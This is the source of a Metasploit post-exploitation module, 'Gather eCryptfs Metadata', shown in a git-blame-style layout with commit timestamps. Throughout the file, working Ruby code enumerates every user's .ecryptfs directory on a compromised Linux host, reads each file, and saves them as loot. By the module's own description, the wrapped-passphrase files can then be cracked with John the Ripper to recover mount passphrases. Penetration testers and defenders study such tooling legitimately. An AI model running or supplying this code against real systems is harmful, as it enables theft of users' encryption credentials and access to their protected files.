2013-07-30 03:10:25 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-07-30 03:10:25 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'rex'
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Post
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-09-05 18:41:25 +00:00
|
|
|
include Msf::Post::File
|
|
|
|
include Msf::Post::Unix
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info={})
|
|
|
|
super( update_info(info,
|
|
|
|
'Name' => 'Gather eCryptfs Metadata',
|
|
|
|
'Description' => %q{
|
|
|
|
This module will collect the contents of all users' .ecrypts directories on
|
|
|
|
the targeted machine. Collected "wrapped-passphrase" files can be
|
|
|
|
cracked with John the Ripper (JtR) to recover "mount passphrases".
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
|
|
|
|
'Platform' => ['linux'],
|
|
|
|
'SessionTypes' => ['shell']
|
|
|
|
))
|
|
|
|
end
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
# This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
print_status("Finding .ecryptfs directories")
|
|
|
|
paths = enum_user_directories.map {|d| d + "/.ecryptfs"}
|
|
|
|
# Array#select! is only in 1.9
|
|
|
|
paths = paths.select { |d| directory?(d) }
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if paths.nil? or paths.empty?
|
|
|
|
print_error("No users found with a .ecryptfs directory")
|
|
|
|
return
|
|
|
|
end
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
download_loot(paths)
|
|
|
|
end
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def download_loot(paths)
|
|
|
|
print_status("Looting #{paths.count} directories")
|
|
|
|
paths.each do |path|
|
|
|
|
path.chomp!
|
|
|
|
sep = "/"
|
|
|
|
files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)
|
2013-07-30 03:10:25 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
files.each do |file|
|
|
|
|
target = "#{path}#{sep}#{file}"
|
|
|
|
if directory?(target)
|
|
|
|
next
|
|
|
|
end
|
|
|
|
print_status("Downloading #{path}#{sep}#{file} -> #{file}")
|
|
|
|
data = read_file(target)
|
|
|
|
file = file.split(sep).last
|
|
|
|
loot_path = store_loot("ecryptfs.#{file}", "text/plain", session, data,
|
|
|
|
nil, "eCryptfs #{file} File")
|
|
|
|
print_good("File stored in: #{loot_path.to_s}")
|
|
|
|
end
|
|
|
|
end
|
|
|
|
end
|
2013-07-30 03:10:25 +00:00
|
|
|
|
|
|
|
end
|